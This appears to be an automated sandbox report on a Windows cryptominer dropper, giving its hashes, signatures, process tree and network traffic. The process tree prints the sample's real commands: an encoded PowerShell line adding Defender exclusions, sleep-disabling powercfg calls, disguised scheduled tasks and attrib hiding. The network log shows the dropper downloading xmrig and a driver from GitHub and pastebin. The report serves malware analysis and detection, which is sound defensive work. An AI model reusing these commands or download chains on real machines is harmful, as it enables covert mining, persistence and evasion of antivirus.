Overview

overview

8

Static

static

winprofile

windows7-x64

8

winprofile

windows10-1703-x64

8

Analysis

  • max time kernel
    144s
  • max time network
    181s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    20/09/2022, 10:21 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    75220c700957c780cd35f7c30cbc8af8867902e97b850f487fab091a6b8226f6.exe

  • Size

    2.5MB

  • MD5

    57558ede05dc703f669117b413c41bff

  • SHA1

    d2395b980e87f8cae96f6aaa67e57202a3932c38

  • SHA256

    75220c700957c780cd35f7c30cbc8af8867902e97b850f487fab091a6b8226f6

  • SHA512

    c5eed69ffdf69cef434fc37b4b56ffe57f7023b3e444edc7d35b46041385297a6775f16c41289f22498b48dea937ec692156c072b6bd6927b447cbe9bab83b20

  • SSDEEP

    49152:yGwRpLlxzVu/GTuoZgdwb+bL6z2zzyIochMdjxkouiLMa8sU9A7BKHEf:yGwR1AGyoZgdTbtzzroUMksUcAkf

Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 7 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\75220c700957c780cd35f7c30cbc8af8867902e97b850f487fab091a6b8226f6.exe
    "C:\Users\Admin\AppData\Local\Temp\75220c700957c780cd35f7c30cbc8af8867902e97b850f487fab091a6b8226f6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Windows\system32\mode.com
        mode 65,10
        3⤵
          PID:2232
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e file.zip -p28212181714525110601836129965 -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:2876
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_6.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:3604
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_5.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:8
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_4.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1548
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_3.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_2.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:4804
        • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          7z.exe e extracted/file_1.zip -oextracted
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          PID:1568
        • C:\Windows\system32\attrib.exe
          attrib +H "alex.exe"
          3⤵
          • Views/modifies file attributes
          PID:720
        • C:\Users\Admin\AppData\Local\Temp\main\alex.exe
          "alex.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4820
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C powershell -EncodedCommand "PAAjAFkAYwBaAEUATgBvADIAdgBMAGYAcQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEMANgBOAEwATQA5ADIAZQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwAxADcAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwAyAGkATgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4676
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -EncodedCommand "PAAjAFkAYwBaAEUATgBvADIAdgBMAGYAcQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEMANgBOAEwATQA5ADIAZQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwAxADcAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwAyAGkATgAjAD4A"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5012
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
            4⤵
              PID:1200
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk362" /TR "C:\ProgramData\Dllhost\dllhost.exe"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5072
              • C:\Windows\SysWOW64\schtasks.exe
                SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk362" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                5⤵
                • Creates scheduled task(s)
                PID:2240

      Network

      • flag-us
        DNS
        pastebin.com
        alex.exe
        Remote address:
        8.8.8.8:53
        Request
        pastebin.com
        IN A
        Response
        pastebin.com
        IN A
        104.20.67.143
        pastebin.com
        IN A
        104.20.68.143
        pastebin.com
        IN A
        172.67.34.170
      • flag-us
        GET
        https://pastebin.com/raw/ib0pnQss
        alex.exe
        Remote address:
        104.20.67.143:443
        Request
        GET /raw/ib0pnQss HTTP/1.1
        Host: pastebin.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Date: Tue, 20 Sep 2022 10:22:24 GMT
        Content-Type: text/plain; charset=utf-8
        Transfer-Encoding: chunked
        Connection: keep-alive
        x-frame-options: DENY
        x-content-type-options: nosniff
        x-xss-protection: 1;mode=block
        cache-control: public, max-age=1801
        CF-Cache-Status: EXPIRED
        Last-Modified: Mon, 19 Sep 2022 22:25:38 GMT
        Server: cloudflare
        CF-RAY: 74d9d6fabde0b9bf-BRU
      • flag-us
        DNS
        github.com
        alex.exe
        Remote address:
        8.8.8.8:53
        Request
        github.com
        IN A
        Response
        github.com
        IN A
        140.82.114.4
      • flag-us
        GET
        https://github.com/S1lentHash/xmrig/raw/main/xmrig.exe
        alex.exe
        Remote address:
        140.82.114.4:443
        Request
        GET /S1lentHash/xmrig/raw/main/xmrig.exe HTTP/1.1
        Host: github.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 302 Found
        Server: GitHub.com
        Date: Tue, 20 Sep 2022 10:22:25 GMT
        Content-Type: text/html; charset=utf-8
        Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
        Access-Control-Allow-Origin: https://render.githubusercontent.com
        Location: https://raw.githubusercontent.com/S1lentHash/xmrig/main/xmrig.exe
        Cache-Control: no-cache
        Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
        X-Frame-Options: deny
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        Referrer-Policy: no-referrer-when-downgrade
        Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
        Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
        Content-Length: 0
        X-GitHub-Request-Id: C327:7001:4F6532:7700A0:63299461
      • flag-us
        GET
        https://github.com/S1lentHash/newwatch/raw/main/NewNewWatch.exe
        alex.exe
        Remote address:
        140.82.114.4:443
        Request
        GET /S1lentHash/newwatch/raw/main/NewNewWatch.exe HTTP/1.1
        Host: github.com
        Response
        HTTP/1.1 302 Found
        Server: GitHub.com
        Date: Tue, 20 Sep 2022 10:22:25 GMT
        Content-Type: text/html; charset=utf-8
        Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
        Access-Control-Allow-Origin: https://render.githubusercontent.com
        Location: https://raw.githubusercontent.com/S1lentHash/newwatch/main/NewNewWatch.exe
        Cache-Control: no-cache
        Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
        X-Frame-Options: deny
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        Referrer-Policy: no-referrer-when-downgrade
        Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
        Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
        Content-Length: 0
        X-GitHub-Request-Id: C327:7001:4F65B6:7701A7:63299461
      • flag-us
        GET
        https://github.com/S1lentHash/file_to_dwnld/raw/main/WinRing0x64.sys
        alex.exe
        Remote address:
        140.82.114.4:443
        Request
        GET /S1lentHash/file_to_dwnld/raw/main/WinRing0x64.sys HTTP/1.1
        Host: github.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 302 Found
        Server: GitHub.com
        Date: Tue, 20 Sep 2022 10:22:25 GMT
        Content-Type: text/html; charset=utf-8
        Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
        Access-Control-Allow-Origin: https://render.githubusercontent.com
        Location: https://raw.githubusercontent.com/S1lentHash/file_to_dwnld/main/WinRing0x64.sys
        Cache-Control: no-cache
        Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
        X-Frame-Options: deny
        X-Content-Type-Options: nosniff
        X-XSS-Protection: 0
        Referrer-Policy: no-referrer-when-downgrade
        Expect-CT: max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"
        Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com wss://*.actions.githubusercontent.com online.visualstudio.com/api/v1/locations github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src render.githubusercontent.com viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
        Content-Length: 0
        X-GitHub-Request-Id: C328:516E:4C038D:729EB4:63299461
      • flag-us
        DNS
        raw.githubusercontent.com
        alex.exe
        Remote address:
        8.8.8.8:53
        Request
        raw.githubusercontent.com
        IN A
        Response
        raw.githubusercontent.com
        IN A
        185.199.109.133
        raw.githubusercontent.com
        IN A
        185.199.111.133
        raw.githubusercontent.com
        IN A
        185.199.108.133
        raw.githubusercontent.com
        IN A
        185.199.110.133
      • flag-us
        GET
        https://raw.githubusercontent.com/S1lentHash/file_to_dwnld/main/WinRing0x64.sys
        alex.exe
        Remote address:
        185.199.109.133:443
        Request
        GET /S1lentHash/file_to_dwnld/main/WinRing0x64.sys HTTP/1.1
        Host: raw.githubusercontent.com
        Connection: Keep-Alive
        Response
        HTTP/1.1 200 OK
        Connection: keep-alive
        Content-Length: 14544
        Cache-Control: max-age=300
        Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
        Content-Type: application/octet-stream
        ETag: "eb6132670d71c0f0a0135281e09093ea8d3b37b755ef8f0c099eb8d539a74073"
        Strict-Transport-Security: max-age=31536000
        X-Content-Type-Options: nosniff
        X-Frame-Options: deny
        X-XSS-Protection: 1; mode=block
        X-GitHub-Request-Id: 2426:E38C:EE456:FA120:63299386
        Accept-Ranges: bytes
        Date: Tue, 20 Sep 2022 10:22:25 GMT
        Via: 1.1 varnish
        X-Served-By: cache-ams21053-AMS
        X-Cache: HIT
        X-Cache-Hits: 1
        X-Timer: S1663669345.441151,VS0,VE1
        Vary: Authorization,Accept-Encoding,Origin
        Access-Control-Allow-Origin: *
        X-Fastly-Request-ID: 9e853d945f8079748acd9f95342ec31e131b89ff
        Expires: Tue, 20 Sep 2022 10:27:25 GMT
        Source-Age: 218
      • flag-us
        GET
        https://raw.githubusercontent.com/S1lentHash/xmrig/main/xmrig.exe
        alex.exe
        Remote address:
        185.199.109.133:443
        Request
        GET /S1lentHash/xmrig/main/xmrig.exe HTTP/1.1
        Host: raw.githubusercontent.com
        Response
        HTTP/1.1 200 OK
        Connection: keep-alive
        Content-Length: 8216576
        Cache-Control: max-age=300
        Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
        Content-Type: application/octet-stream
        ETag: "ff996fda07e1136377bfcd85fd06f463be0c6c348d44a06530a7c7eef23f7da3"
        Strict-Transport-Security: max-age=31536000
        X-Content-Type-Options: nosniff
        X-Frame-Options: deny
        X-XSS-Protection: 1; mode=block
        X-GitHub-Request-Id: 0827:6E05:10AAF0:1169A7:63299387
        Accept-Ranges: bytes
        Date: Tue, 20 Sep 2022 10:22:25 GMT
        Via: 1.1 varnish
        X-Served-By: cache-ams21053-AMS
        X-Cache: HIT
        X-Cache-Hits: 1
        X-Timer: S1663669346.747952,VS0,VE0
        Vary: Authorization,Accept-Encoding,Origin
        Access-Control-Allow-Origin: *
        X-Fastly-Request-ID: e0090fadc1c3637c2adf12f32d01ce309bdc344e
        Expires: Tue, 20 Sep 2022 10:27:25 GMT
        Source-Age: 218
      • flag-us
        GET
        https://raw.githubusercontent.com/S1lentHash/newwatch/main/NewNewWatch.exe
        alex.exe
        Remote address:
        185.199.109.133:443
        Request
        GET /S1lentHash/newwatch/main/NewNewWatch.exe HTTP/1.1
        Host: raw.githubusercontent.com
        Response
        HTTP/1.1 200 OK
        Connection: keep-alive
        Content-Length: 73216
        Cache-Control: max-age=300
        Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
        Content-Type: application/octet-stream
        ETag: "38c58c5022623bd2b8f321d004b792d52d89efe843221dcb1aa40ffc40f55941"
        Strict-Transport-Security: max-age=31536000
        X-Content-Type-Options: nosniff
        X-Frame-Options: deny
        X-XSS-Protection: 1; mode=block
        X-GitHub-Request-Id: 3338:D3F1:CC9CF:D5EBB:6329883D
        Accept-Ranges: bytes
        Date: Tue, 20 Sep 2022 10:22:25 GMT
        Via: 1.1 varnish
        X-Served-By: cache-ams21029-AMS
        X-Cache: HIT
        X-Cache-Hits: 1
        X-Timer: S1663669346.970761,VS0,VE1
        Vary: Authorization,Accept-Encoding,Origin
        Access-Control-Allow-Origin: *
        X-Fastly-Request-ID: 9815d73250bf973c0c6d7e07b8511316db56c9e4
        Expires: Tue, 20 Sep 2022 10:27:25 GMT
        Source-Age: 219
      • 104.20.67.143:443
        https://pastebin.com/raw/ib0pnQss
        tls, http
        alex.exe
        766 B
         4.2kB
         9
        9

        HTTP Request

        GET https://pastebin.com/raw/ib0pnQss

        HTTP Response

        200
      • 140.82.114.4:443
        https://github.com/S1lentHash/newwatch/raw/main/NewNewWatch.exe
        tls, http
        alex.exe
        980 B
         8.1kB
         11
        12

        HTTP Request

        GET https://github.com/S1lentHash/xmrig/raw/main/xmrig.exe

        HTTP Response

        302

        HTTP Request

        GET https://github.com/S1lentHash/newwatch/raw/main/NewNewWatch.exe

        HTTP Response

        302
      • 140.82.114.4:443
        https://github.com/S1lentHash/file_to_dwnld/raw/main/WinRing0x64.sys
        tls, http
        alex.exe
        799 B
         5.5kB
         9
        8

        HTTP Request

        GET https://github.com/S1lentHash/file_to_dwnld/raw/main/WinRing0x64.sys

        HTTP Response

        302
      • 185.199.109.133:443
        https://raw.githubusercontent.com/S1lentHash/xmrig/main/xmrig.exe
        tls, http
        alex.exe
        147.9kB
         8.5MB
         3161
        6111

        HTTP Request

        GET https://raw.githubusercontent.com/S1lentHash/file_to_dwnld/main/WinRing0x64.sys

        HTTP Response

        200

        HTTP Request

        GET https://raw.githubusercontent.com/S1lentHash/xmrig/main/xmrig.exe

        HTTP Response

        200
      • 185.199.109.133:443
        https://raw.githubusercontent.com/S1lentHash/newwatch/main/NewNewWatch.exe
        tls, http
        alex.exe
        2.1kB
         78.2kB
         34
        61

        HTTP Request

        GET https://raw.githubusercontent.com/S1lentHash/newwatch/main/NewNewWatch.exe

        HTTP Response

        200
      • 13.89.179.8:443
        322 B
         7
      • 8.8.8.8:53
        pastebin.com
        dns
        alex.exe
        58 B
         106 B
         1
        1

        DNS Request

        pastebin.com

        DNS Response

        104.20.67.143
        104.20.68.143
        172.67.34.170

      • 8.8.8.8:53
        github.com
        dns
        alex.exe
        56 B
         72 B
         1
        1

        DNS Request

        github.com

        DNS Response

        140.82.114.4

      • 8.8.8.8:53
        raw.githubusercontent.com
        dns
        alex.exe
        71 B
         135 B
         1
        1

        DNS Request

        raw.githubusercontent.com

        DNS Response

        185.199.109.133
        185.199.111.133
        185.199.108.133
        185.199.110.133

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\main\7z.dll
        Filesize

        1.6MB

        MD5

        72491c7b87a7c2dd350b727444f13bb4

        SHA1

        1e9338d56db7ded386878eab7bb44b8934ab1bc7

        SHA256

        34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

        SHA512

        583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
        Filesize

        458KB

        MD5

        619f7135621b50fd1900ff24aade1524

        SHA1

        6c7ea8bbd435163ae3945cbef30ef6b9872a4591

        SHA256

        344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

        SHA512

        2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\alex.exe
        Filesize

        21KB

        MD5

        cbd2a802e34a5467650dd732e5e21377

        SHA1

        b17ecde7faf42c6146ff5cbabce1ec71ede9caff

        SHA256

        0aeb02c7a288bf9987f400be557151ff19daf912f153cdf7ab679e813f116d9a

        SHA512

        f11425c8e5ecffb32a0fa70ae3415e2b8c50b93a96b0c4d2c443d4c9265eca396716308b76b0529c500aa8f5e7b4bc9957cac129b4cea199fd6a7a5ec6530cb5

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
        Filesize

        2.1MB

        MD5

        9cc34b4afaeb90f7399b4e5532367f92

        SHA1

        bd2037168dc14e881cf7532b29efd2e828a7ef76

        SHA256

        9202f4434be105cfd9a85810b7b387d6a639e8380b9cc2db5bbfccdac1ab1bc5

        SHA512

        3c0b8e64cb05df66cac8f6c120aa1c6e302da9a8b03ddd397b3248c2307fb3e76aff01234a3a67c3fb167cb705b1f9f87ada442f104458208a5e8cd5bd522bfc

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\alex.exe
        Filesize

        21KB

        MD5

        cbd2a802e34a5467650dd732e5e21377

        SHA1

        b17ecde7faf42c6146ff5cbabce1ec71ede9caff

        SHA256

        0aeb02c7a288bf9987f400be557151ff19daf912f153cdf7ab679e813f116d9a

        SHA512

        f11425c8e5ecffb32a0fa70ae3415e2b8c50b93a96b0c4d2c443d4c9265eca396716308b76b0529c500aa8f5e7b4bc9957cac129b4cea199fd6a7a5ec6530cb5

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
        Filesize

        9KB

        MD5

        2eabc967e66c565f03c711da5cfd7d8a

        SHA1

        abfbd38c3253583fb270a2cd33f0bd0461e2fdaf

        SHA256

        83e88dabcbc3e5d435afec31090a6a93060c2530e23e2aaf489f387e4d9df849

        SHA512

        c2dedddbb8cd5ee668b3e55f0f232b0dddc1a97caa90383cc6d5fafcc94ceafcad2c0b05eaf08ecc4094ff87507b98fae9d7c1ba8ff0732114a1c869ea218592

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
        Filesize

        9KB

        MD5

        103025d721083b6e96647537a32f324c

        SHA1

        352e421353ad0fc60a383dd13bdebe994c90dd87

        SHA256

        a6d096610ed0dd2441d469b46bc6530c76847393910c52bd54912f145b8c54e2

        SHA512

        4575334d516a3502685a2638d9b9e658d21de934da85105d3aa52ead62fb7082765362d35fddec2ac8e3104c2d9be0c9879274ca7b12b92c14b890b62ee1e414

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
        Filesize

        9KB

        MD5

        8836c2b6163cdb8436d89c46c3659ad0

        SHA1

        0cf1cc64e8cb3a38323b69b7ec5f03f91941c7bc

        SHA256

        097d44c585356f91252993fdd96aed5c7b2ff2403ad00a9ca7d44a0fea509e4c

        SHA512

        4134b885f659e4d4d17baad18c68c111a61b090d43a8d7ba1ce1c5e1949b7b66369250f07ed203474d1d7924f1a21ccfb948f44b3d7a11a1aef1d71b71df6c2c

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
        Filesize

        9KB

        MD5

        d2e218eafb0057822ddd2fba4d4e33de

        SHA1

        02a7c85aabe751e9adbf204fc3c23a2cec3e5304

        SHA256

        7e8579ed998348999448e08aee494e176752b9d7c8ebbeb3fc8b8ce0740af0ce

        SHA512

        fe0137502f8b057d0394610c55e25b5e490abbd951b6693dd3b8a8276dd5fa27e2102b8dc65b22cdf83f8704ae4bb42506c9d698fc098d9dcd0ce71fde4fdc5d

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
        Filesize

        10KB

        MD5

        a59e4eb4886d43cd1759f270045aea0a

        SHA1

        dc00f1e3a60e55326d60b6c5d15113ffe5cb01aa

        SHA256

        be91343a2da94bd756fa17a8b382bffbc8e6c53c1d1add8fbb9cbf999ce268f5

